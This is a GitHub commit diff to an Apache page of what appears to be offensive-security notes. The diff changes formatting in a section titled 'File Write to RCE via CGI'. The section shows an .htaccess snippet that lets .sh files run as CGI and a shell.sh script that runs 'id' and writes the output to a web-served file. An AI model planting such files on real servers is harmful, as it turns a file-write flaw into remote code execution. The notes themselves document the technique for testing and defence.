We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent d6b6c5c commit 153bce1Copy full SHA for 153bce1
1 file changed
content/docs/framework/apache.md
@@ -19,7 +19,6 @@ toc: true
19
20
## File Write to RCE via CGI
21
22
-
23
In order to get your CGI programs to work properly, you'll need to have Apache configured to permit CGI execution.
24
25
```bash
@@ -30,14 +29,14 @@ LoadModule cgi_module modules/mod_cgi.so
30
29
31
File `/var/www/html/.htaccess`:
32
33
-```
+```bash
34
Options +ExecCGI
35
AddHandler cgi-script .sh
36
```
37
38
File `/var/www/html/shell.sh`:
39
40
-```sh
41
#!/bin/sh
42
echo -ne "Content-Type: text/html\n\n"
43
id > /var/www/html/static/output.png
0 commit comments